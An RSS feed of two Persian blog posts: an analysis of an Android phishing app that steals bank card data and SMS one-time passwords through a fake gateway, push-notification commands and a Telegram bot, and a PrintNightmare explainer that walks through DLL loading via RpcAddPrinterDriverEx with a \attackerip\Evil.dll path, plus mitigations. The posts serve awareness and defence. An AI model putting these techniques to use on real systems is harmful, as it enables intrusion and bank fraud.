<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"><channel><title>نوشته های جواد دادگر</title><link>https://virgool.ir/feed/@m_62993680</link><description></description><language>fa</language><pubDate>2026-11-11 08:56:46</pubDate><image><url>https://files.virgool.ir/upload/users/1013433/avatar/qgNUMR.jpeg</url><title>جواد دادگر</title><link>https://virgool.ir/@m_62993680</link></image><item><title>فیشینگ بعد از رمز دوم پویا و بدافزارهای Push Notification</title><link>https://virgool.ir/@m_62993680/فیشینگ-بعد-از-رمز-دوم-پویا-و-بدافزارهای-push-notification-hkrnclmjd2vz</link><description>تقریبا از بعد از اجرای طرح رمز دوم پویا فیشینگ صفحات بانکی هم تغییر کرده و شکل جدیدی به خود گرفت و پیشرفت کرد هر چند رمزدوم پویا توانست تا حد بسیار خوبی جلوی وضعیت نابسامان فیشینگ در ایران را بگیرداما کماکان فیشرها از روش‌های جدیدتری برای اینکار استفاده میکنند مطالب متفاوتی در مورد این روش‌ها نوشته شده اما به بهانه اینکه امروز و در زمان خالی یک اپلیکیشن فیشینگ رو بررسی کردم در کنار گزارش اون مواردی رو هم درباره روش‌ها جدید مینویسم شروع انتشار اپلیکیشن همه چیز با یک پیام یا پیامک شروع میشود که محتوای آن این است که یک ابلاغیه الکترونیکی برای شما صادر شده است و برای مشاهده آن باید روی لینک زیر کلیک کنید این سناریو با توجه به اینکه سامانه های قوه قضاییه هم به تازگی الکترونیکی شده است و خود موضوع هم موضوع مهمی میباشد میتواند کاربر را مجبور کند تا روی لینک کلیک کندپیامی که ارسال میشود و حاوی لینک دانلود اپلیکیشن آلوده میباشدبعد از کلیک روی لینک کوتاه شده اپلیکیشن آلوده که روی یک سرویس عمومی میزبانی شده است دانلود میشود و بعد از این که اپلیکیشن را نصب کنید ابتدا با درخواست هایی نصب شدن اپلیکیشن برای فیشر مشخص میشود و سپس شما صفحه ای را با مضمون سامانه قوه قضاییه مشاهده میکنیدصفحه اول اپلیکیشن و شبیه سازی سامانه قوه قضاییه در ادامه بعد از تایید اپلیکیشن از شما نام و نام خانوادگی و همینطور شماره تماس و کد ملی دریافت میکند و میگوید برای ورود به سامانه باید مبلغ اندکی برای مثال ۲۰۰۰ تومن رو پرداخت بکنیددریافت اطلاعات هویتی و اقدام به پرداخت پس از این مرحله شما به درگاه پرداخت به پرداخت ملت شبیه سازی شده منتقل میشوید حتی یک نوار آدرس در این درگاه بصورت جعلی طراحی شده است که آدرس اصلی درگاه در سایت شاپرک را بصورت درست نمایش میدهد اما در واقع این نوار آدرس مربوط به مرورگر نمیباشد و ساختگی استصفحه پرداخت جعلی شبیه سازی شدهدر این صفحه مبلغ به رقم مشخص شده و پس از این که قربانی اطلاعات را واریز میکند و کپچا را حل کرده و درخواست رمزدوم میکند بعد از مدت کوتاهی پیامک رمز دوم برای قربانی ارسال میشود تا به اینجا فرایندی نیز در پشت صحنه در حال اجرا میباشد که در ادامه توضیح خواهم داد پس از دریافت رمز دوم پویا قربانی رمزدوم را وارد کرده و تایید میکند اما درگاه صفحه اروری را نمایش میدهد مبنی بر اینکه مشکلی پیش آمده است و همزمان اطلاعات کارت قربانی به همراه کپچا و رمز دوم را به سرور خود ارسال میکندبعد از پایان این مرحله وقتی کاربر میخواهد به اپلیکیشن برگردد ایکون اپلیکیشن حذف شده و پیامی مبنی بر اینکه اپ حذف شده نمایش داده میشود اما در واقع حذف نشده و فقط ایکون آن پنهان شده استمخفی کردن ایکون اپلیکیشن از لیست گوشی چه اتفاقی در پشت ماجرا می افتدپیج های فیشینگی که به تازگی طراحی شده اند پیشرفت زیادی کرده اند همزمان که شما به صفحه پرداخت جعلی منتقل میشوید در پشت صحنه یک درگاه پرداخت واقعی معمولا یک فرايند خرید شارژ از سایت های فروش شارژ تلفن همراه نیز اجرا میشود و به اصطلاح بعنوان درگاه پروکسی شده قرار میگیرد هر چیزی که شما وارد میکنید دقیقا به این درگاه منتقل میشود و وقتی درخواست رمزپویا میکنید از آن درگاهی که در پشت صحنه اجرا شده است درخواست رمز پویا داده میشود با توجه به یکی بودن مبالغ وقتی شما رمز دوم پیامک شده را وارد میکنید در آن طرف هم وارد میشود و خرید شارژ از حساب شما انجام میشود به این طریق فیشر میتواند صحت اطلاعات دریافتی از شما را تایید کند و در صورتی که اطلاعات صحیح نباشد و پرداخت انجام نشود اطلاعات دور ریخته میشودمشکل اصلی که برای فیشر اینجا وجود دارد حل کردن کپچا درگاه اصلی میباشد که البته به روش‌هایی قابل حل میباشد اما روشی که به نظر میرسد قابل اجرا تر است و اجرا هم میشود انتقال کپچا درگاه اصلی به درگاه جعلی میباشد به این طریق شما کپچا آن درگاه دیگر را هم حل میکنید و برای فیشر میفرستید او هم بی دردسر پرداخت را انجام میدهدکماکان موردی که هست به علت ارتباط رمز دوم و مبلغ قابل پرداخت فیشر میتواند فقط همانقدری از کارت شما برداشت کند که برایتان درگاه جعلی باز کرده است یا اگر غیر از این باشد شما در پیامک رمز پویا مبلغ درحال پرداخت و همینطور نام صاحب درگاه را میبیند پس نمیتوان مبلغ قابل توجه و زیادی برداشت کرد همینطور که نمیتوان از موجودی واقعی حساب مطلع شد و ممکن است حساب موجودی کافی نداشته باشدرفتار بدافزار گونهتا به اینجا همه چیز یک فرایند فیشینگ بود که بدون نیاز به اپلیکیشن میتوانست بر بستر وب نیز اجرا شود اما این بدافزار یک امکان دیگر نیز به فیشر میدهد مخصوصا وقتی که اطلاعات کارت شما را گرفته است و حالا فقط نیاز به پیامک رمز دوم پویا دارد و البته اپلیکیشن بصورت مخفی در تلفن همراه نصب میباشدقابلیت بدافزاری که وجود دارد امکان خواندن همه پیامک های دریافتی میباشد بدافزار میتواند با استفاده از PhoneEvents.SMSInterceptor در B4A از دریافت پیامک ها مطلع شده و آنها را بخواندحالا بدافزار میتواند درخواست رمز پویا دهد و رمز پیامک شده را هم هر زمان خواست ببیند برای اینکار فیشر پیامک را از طریق یک بات تلگرام برای خود میفرستد اما اشتباهی که کرده توکن بات را در داخل اپلیکیشن هارد کد کرده است :)توکن ربات تلگرام فیشر که پیامک ها برای آن ارسال میشودسواستفاده از Push Notificationاما برای همه اینکارها نیاز به ارتباط با سرور دریافت دستورات و ارسال دستورات به بدافزار وجود دارد که بصورت خیلی کلی آن را C&amp;C می نامیم اگر قبلا از نوشته‌های من خوانده باشید در ماجرای تلگرام طلایی و غیررسمی ها نوشته بود که اینها از سرویس Push Notification برای ارسال دستورات استفاده میکنند به این شکل که یک رسیور از قبل نوشته شده است و با دریافت اطلاعات متفاوتی در قالب یک پوش نوتیف دستورات مختلفی در اپلیکیشن اجرا میشوند و همینطور اطلاعاتی مثل آدرس‌ها و دستورات به بدافزار میرسند در این روش فوایدی برای فیشر هکر وجود دارد که یکی از آنها این است که میتواند همه داده های حساس را در اپلیکیشن هارد کد نکند و هر زمان که خواست آنها را به اپلیکیشن برساند و در نتیجه جرم‌یابی و ردیابی هکر سخت تر میشود از طرفی احتمال شناسایی خودکار بدافزار توسط آنتی ویروس ها یا نمایش اطلاعات درون آن نیز کمتر میشود همینطور نیاز نیست هکر برای اینکار از زیرساخت های ارتباطی خودش استفاده کنددر این بدافزار هم از این تکنیک استفاده شده است اینجا و در زمانی که بدافزار در گوشی نصب میباشد و ایکون آن مخفی میباشد و همینطور فیشر قبلا همه اطلاعات بانکی فرد به جز رمز دوم پویا را دریافت کرده است با ارسال پوش نوتیف هکر میتواند دستوراتی شامل دریافت اطلاعات دستگاه و همینطور دریافت کلیپ بورد کاربر را بفرستد اتفاقی که برای برداشتن پیامک ها می افتد با دریافت یک پوش نوتیف که حاوی کلید واژه ها و اطلاعات خاصی است هکر دستگاه را به حالت بیصدا تغییر میدهدتغییر RingerMode در b4aسپس میتواند پیامک دریافتی را نیز از طریق بات تلگرام دریافت کندنهایتا فیشر میتواند در آرامش از کارت قربانی موجودی بگیرد و بعد مبلغی که بخواهد را تراکنش انجام دهد و رمزپویا را هم دریافت کرده و تراکنش را کامل کندپایانیفیشینگ در ایران در حال حاضر بواسطه رمز دوم پویا بسیار کمتر شده است اما حالا فیشرها اقدام به تولید درگاه های بهتر و همینطور بدافزارهای موبایلی میکنند تا رمزدوم پویا را بدست بیاورند البته هیچ وقت نمیتوان بصورت ۱۰۰ درصد جلوی این نوع از فیشینگ را گرفت اما هنوز راهکارهای وجود دارد که بتوان امار را باز هم کمتر و کمتر کرد و قطعا بخش مهمی از این راهکارها اطلاع رسانی و افزایش آگاهی افراد در زمینه امنیت سایبری میباشدمعمولا این کمپین های فیشینگ هرکدام یک صفحه و اپلیکیشن ندارند و یک کدی که فردی نوشته است بصورت پکیج اماده فروخته میشود و افرادی فقط با خریدن این کدها و تغییر دادن بعضی متغیرها مثل ادرس سایت و ربات تلگرام و ... و با تبلیغات یک فیشینگ برای خودشان راه می اندازند</description><category>جواد دادگر</category><author>جواد دادگر</author><pubDate>Wed, 18 Aug 2021 00:23:08 +0430</pubDate></item><item><title>بررسی آسیب پذیری PrintNightmare</title><link>https://virgool.ir/@m_62993680/بررسی-آسیب-پذیری-printnightmare-j9hcrmzhun9t</link><description>بروزرسانی مایکروسافت در تاریخ 8 June خبر از آسیب پذیری بر روی سرویس Print Spooler با کد CVE-2021-1675 میداد که نوعی LPE بود، این آسیب پذیری‌ها به ارتقا سطح دسترسی کاربران سیستم به سطح ادمین منجر میشوند.اما در تاریخ 21 June مایکروسافت اون رو تغییر داد و با یک کد CVE جدید تحت عنوان یک آسیب پذیری RCE که توسط دو محقق امنیت سایبری از دو آزمایشگاه معروف کشف شده بود معرفی کرد، تقریبا چند روز بعد، اولین ویدیوها از اکسپلویت کردن این آسیب‌ پذیری بصورت LPE و RCE منتشر شد و همینطور که صحبت‌ها در مورد اون زیاد میشد یک محقق امنیتی در توییتی اعلام کرد که این آسیب پذیری رو در کنفرانس بلک هت ارایه خواهند داد و لینک یک POC مربوط به این آسیب پذیری رو قرارداد اما بعد از مدت کوتاهی این لینک رو حذف کرد و نوشت که برای جلوگیری از این آسیب پذیری ویندوز خودتون رو به آخرین نسخه بروزرسانی کنید اما دیگه دیر شده بود افراد زیادی کدهای POC مربوطه رو دیده یا فورک کرده بودند.در حال حاضر هنوز مایکروسافت بروزرسانی برای نوع دسترسی RCE این آسیب پذیری منتشر نکرده و آخرین چیزی که از مایکروسافت منتشر شده پیشنهاد میکند که سرویس Print Spooler  تا انتشار بروزرسانی مورد نظر غیرفعال گردد.پیش از این در سال‌های گذشته از آسیب پذیری‌های این سرویس در بدافزار استاکس نت که به زیرساخت های هسته‌ای ایران حمله کرده بود نیز استفاده شده بود.تشریح آسیب پذیریارتقاع سطح دسترسی (LPE)تشریح ابتدایی و مطلبی که توسط Afine Team منتشر شد درباره LPE در PrintSpoolerقسمت آسیب پذیر در ویندوز و در بخش مدیریت پرینترها یا printmanagement.msc بود که در منوی setting در بخش printers and scanners در دسترس میباشد مشکلی که در این بخش و برای manage server که وظیفه مدیریت و افزودن پرینت سرور جدید و … را دارد وجود داشت این بود که دسترسی به آن برای به اصطلاح گروه Interactive بصورت پیشفرض allow بود یعنی همه کاربرانی که تحت interactive بودند میتوانستند از این قابلیت استفاده بکنند.گروه interactive که البته در واقع مثل دیگر گروه‌ها در ویندوز نمیباشد و نمیتوانید کاربران را عضو آن بکنید یا از آن خارج بکنید بصورت کلی به همه کاربرانی که روی سیستم لاگین بکنند تعلق میگیرد.بنابراین همه کاربرانی که روی سیستم لاگین شوند میتوانستند از قابلیت manage server و افزودن پرینتر استفاده بکنند.یکی از قابلیت ها امکان اضافه کردن پرینتر یا پرینت سرور از طریق import فایل میباشد به این صورت که میتوان فایل هایی با فرمت PrintExport. ساخت و از این طریق برای افزودن پرینتر اقدام کرد.نمونه فایل printexportاما مشکل کجاست؟ یک فایل PrintExport. در واقع یک پکیج است شامل تعدادی فایل های xml و لایبرری های dll میباشد در واقع از این فایل بصورت ساده برای بک آپ گرفتن یا ریستور کردن پرینترهای قبلی متصل شده به سیستم و موارد اینگونه استفاده میشود.محتوای پکیج PrintExportبرای ایجاد یک dll مخرب در این بخش باید به شیوه هایی مثل dll hijacking ابتدا یک نسخه سالم از فایل printexport پیدا کرده و سپس تغییرات مورد نظر خود را روی آن اعمال کنیم و در فایل xml مربوطه رفرنس به dll مخرب خود را قرار دهیم.میتوان از قابلیت‌های Backup/Restore پرینتر برای تهیه چنین فایل استفاده کرد.فرض کنیم هدف dll مورد نظر باز کردن یک cmd میباشد.پس میدانیم هرکاربری میتواند یک PrintExport. فایل را import بکند و حتی آن را تغییر نیز بدهد.اتفاقی که در ادامه می افتد به این شکل است که بعد از import کردن و تکمیل این فرایند فایل مورد نظر ما بصورت خودکار به آدرس زیر کپی میشود در واقع یک کاربر عادی میتواند یک dll را در دایرکتوری system32 کپی کند.C: \ Windows \ System32 \ spool \ drivers \ x64 \ 3 \ *تکنیک های Dll SideLoading / Hijackingوقتی نرم افزاری در ویندوز میخواهد از لایبرری های dll استفاده بکند اگر آدرس صحیح فایل dll در برنامه مشخص نشده باشد ویندوز به نرم افزار کمک میکند تا dll مورد نظر خود را از روی سیستم پیدا بکند به این شکل که آدرس های احتمالی را پیشنهاد میکند، برای اینکه آنجا دنبال dll بگردد برای مثال همان دایرکتوری که نرم افزار در آن قرار دارد.لود dll توسط Spoolsvبرای مثال اگر نرم افزاری در آدرس c: \ windows  باشد و بخواهد از لایبرری version.dll استفاده بکند مسیری که ویندوز به آن پیشنهاد میدهد همان دایرکتوری یعنی c:/ windows میباشد نرم افزارهای زیادی دربرابر dll sideloading آسیب پذیر هستند اما مشکل اصلی که وجود دارد نمیتوان همه آنها را اکسپلویت کرد برای اینکه کاربر عادی نمیتواند dll مخرب خود را در آدرس های سیستمی بنویسد.اتفاقی که در print spooler می افتد نیز به همین شکل میباشد بعد ریستارت و شروع این سرویس به دنبال version.dll میگردد و مسیر پیشنهادی ویندوز برای پیدا کردن dll مورد نظر همان دایرکتوری میباشد که فایل مخرب در آنجا وجود دارد بنابراین  dll مورد نظر توسط print spooler با دسترسی سیستمی لود میشود.بنابراین چند مشکل وجود دارد- دسترسی به manage server برای همه کاربران باز میباشد- فایل printexport را میتوان تغییر داد و دستکاری کرد- فایل مورد نظر بعد از import شدن به مسیری در system32 کپی میشود- سرویس print spooler بخاطر مشکلی که دارد version.dll مخرب را از مسیر مورد نظر با دسترسی سیستم لود میکنداجرای کد از راه دور (RCE)برای rce باید کماکان attacker یک کاربر احراز هویت شده و داخل دامین باشددر دو حالت میشود از این آسیب پذیری بصورت RCE استفاده کرد یکی برای هدف قرار دادن خود dc و یکی هم سیستم هایی که از قابلیت point and print استفاده میکنند*درباره مورد دوم و point and print هنوز اطلاعات مشخصی وجود نداردقابلیت point and print امکانی است که بوسیله آن سیستم های ویندوزی میتوانند بدون نیاز به نصب درایو از روی دیسک یا موارد این مدلی به پرینترهای روی شبکه متصل شده و از آنها استفاده نمایند.وقتی در این حالت سیستمی میخواهد از یک پرینتر تحت شبکه استفاده بکند ابتدا درایور ها و پارامترهای کانیفگ از پرینت سرور دانلود و لود میشوند.مشکل بعدی که اینجا  وجود دارد یک rpc است تحت عنوان RpcAddPrinterDriverEx() یا به اصطلاح ویندوزی RpcAddPrinterDriver که از آن برای نصب پرینتر درایورها از پرینت سرور و افزودن فایل های و لایبرری ها استفاده میشود.افزودن Print Server با استفاده از RpcAddPrinterDriver به شکل زیر انجام میشود.- کلاینت میتواند از RpcAddPrinterDriver برای افزودن درایور به Print Server استفاده بکند.- کلاینت بررسی میکند که فایل یا فایلهای درایور برای سرور در محلی در دسترس باشد برای اینکار کلاینت میتواند یک دایرکتوری داخلی share کند یا از طریق SMB فایل ها را روی دایرکتوری روی سرور قرار دهد.- کلاینت سپس DRIVER_INFO_2 را به شکل زیر بوجود می آورد .pName = L&#34;OEM Printer Driver&#34;      pEnvironment = L&#34;Windows NT x86&#34; /* Environment the driver is compatible with */pDriverPath = &#34;\\CORPSERV\C$\DRIVERSTAGING\OEMDRV.DLL&#34;315 / 415[MS-RPRN] - v20200826Print System Remote ProtocolCopyright © 2020 Microsoft CorporationRelease: August 26, 2020‍‍pDataFile = &#34;\\CORPSERV\C$\DRIVERSTAGING\OEMDATA.DLL&#34;pConfigFile = &#34;\\CORPSERV\C$\DRIVERSTAGING\OEMUI.DLL&#34;‍‍‍‍‍‍‍‍‍‍‍- کلاینت ساختار DRIVER_CONTAINER را که شامل DRIVER_INFO_2 میباشد را بوجود می آورد- کلاینت RpcAddPrinterDriver را صدا میزند.RpcAddPrinterDriver( L&#34;\\CORPSERV&#34;, &amp;driverContainer );بنابراین اگر attacker بتواند authentication مربوط به RpcAddPrinterDriver را دور بزند و این RPC را صدا بزند میتواند داریور مخرب را روی سیستم هدف لود کند در ویندوز، کلاینت برای اجرای این RPC نیاز به دسترسی SeLoadDriverPrivilege دارد اما مشکل مشابهی که در این قسمت وجود دارد طبق تصویر به شکل زیر است.سرویس Spooler توسط ValidateObjectAccess یک بررسی امنیتی انجام میدهد برای اینکه آیا کاربر میتواند این RPC را صدا بزند یا خیر، اما همانطور که مشخص شده در خط ۱۹ و ۲۰ آرگومان a4 میتواند توسط کاربر کنترل شود بنابراین یک کاربر نرمال میتواند این بررسی را دور زده و درایور اضافه بکند. برای مثال یک کاربر عادی که عضو دامین میباشد میتواند از این طریق یک dll را روی DomainController لود بکند و در نتیجه به کل دامین دسترسی پیدا بکند.اکسپلویت برای اکسپلویت کردن و بایپس Authentication باید بدانیم سرویس Spooler بعد از صدا زدن RpcAddPrinterDriver چه کاری انجام میدهد.فرض کنیم ۳ فایل dll از طریق RPC به سرویس Spooler داده ایم​A -  pDataFile =A.dll​ B - pConfigFile =\attackerip\Evil.dll​ C - pDriverPath=C.dllاتفاقی که می افتد ابتدا فایل ها به آدرس C:\Windows\System32\spool\drivers\x64\3\new کپی میشوند و سپس به آدرس C:\Windows\System32\spool\drivers\x64\3 و نهایتا A و C توسط سرویس لود میشوند.در آخرین نسخه، سرویس Spooler بررسی میکند که A و C به صورت UNC PATH نباشند یعنی مسیر آنها جایی دیگر و روی شبکه نباشد اما B میتواند UNC PATH باشد بنابراین ما میتوانیم pConfigFile را مسیر dll مخرب خود ست بکنیم و dll در مسیر C:\Windows\System32\spool\drivers\x64\3\ Evil.dll کپی میشود و سپس دوباره RpcAddPrinterDriver را اجرا میکنیم این بار با این تفاوت که بجای pDataFile مسیر داخلی dll مخرب را قرار میدهیم از آنجایی که dll در همان مسیر وجود دارد دیگر مشکلی از بابت UNC PATH هم وجود ندارد و منطقا باید dll مخرب لود شود اما این تا اینجا اکسپلویت کار نمی کند و یک مشکل دیگر وجود دارد.اگر هر ۳ مقدار A و B و C را مسیری در داخل یک دایرکتوری ست بکنیم مشکل دسترسی در کپی کردن فایل بوجود می آید برای دور زدن این مشکل از قابلیت بک آپ و آپگرید درایور استفاده میکنیم به این شکل که اگر ما از قابلیت بک آپ استفاده بکنیم نسخه قدیمی به آدرس C:\Windows\System32\spool\drivers\x64\3\old\1 کپی میشود و دیگر مشکل دسترسی بوجود نمی آید.اجرای اکسپلویت و گرفتن دسترسیلود شدن dll مخرب توسط سرویس spoolsvپیشگیریدر حال حاضر کماکان بروزرسانی توسط مایکروسافت منتشر نشده است و مهمترین پیشنهاد در این باره غیرفعال کردن سرویس Print Spooler میباشد، راهکارهای دیگری هم در توییتر و یا توسط فعالین امنیت منشتر شده است مثل اصلاح ACL یا دسترسی‌ها اما توسط مایکروسافت تایید نشده است.صحبت‌هایی نیز وجود دارد که غیرفعال کردن هم راهکار ۱۰۰ درصدی نمیباشدغیرفعال کردن سرویس Spooler از طریق PowerShellGet-servicec -Name Spooler&#xA;Stop-Service -Name Spooler -ForceSet-Service -Name Spooler -StartupType Disabledغیرفعال کردن سرویس Spooler از طریق Group PolicyPolicies/Windows Settings/Security Settings/System Services/Print Spoolerبررسی احتمال آلوده شدنبررسی event ها مربوط به پروسس Spoolsvبررسی مسیرهای مهم برای پیلودها و dll های مخرب احتمالیC:\Windows\System32\spool\drivers\x64\3\C:\Windows\System32\spool\drivers\x64\3\oldC:\Windows\System32\spool\drivers\x64\3\new* این نوشته یک جمع آوری و ترجمه و برداشت نویسنده از منابع زیر میباشد و ممکن است خطا و سوبرداشت نیز داشته باشد برای اطلاعات بیشتر میتوانید به منابع ذکر شده مستقیما مراجعه کنید.Referenceshttps://www.blog.afine.academy/exploit-na-windowsa-10-czyli-eskalacja-przywilejow-made-in-poland/https://github.com/afwu/PrintNightmarehttps://kb.cert.org/vuls/id/383432https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/353ff796-6fb3-41cf-8b35-0022dd53d886https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-printhttps://www.huntress.com/blog/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-executionhttps://github.com/cube0x0https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/353ff796-6fb3-41cf-8b35-0022dd53d886</description><category>جواد دادگر</category><author>جواد دادگر</author><pubDate>Mon, 05 Jul 2021 12:46:32 +0430</pubDate></item></channel></rss>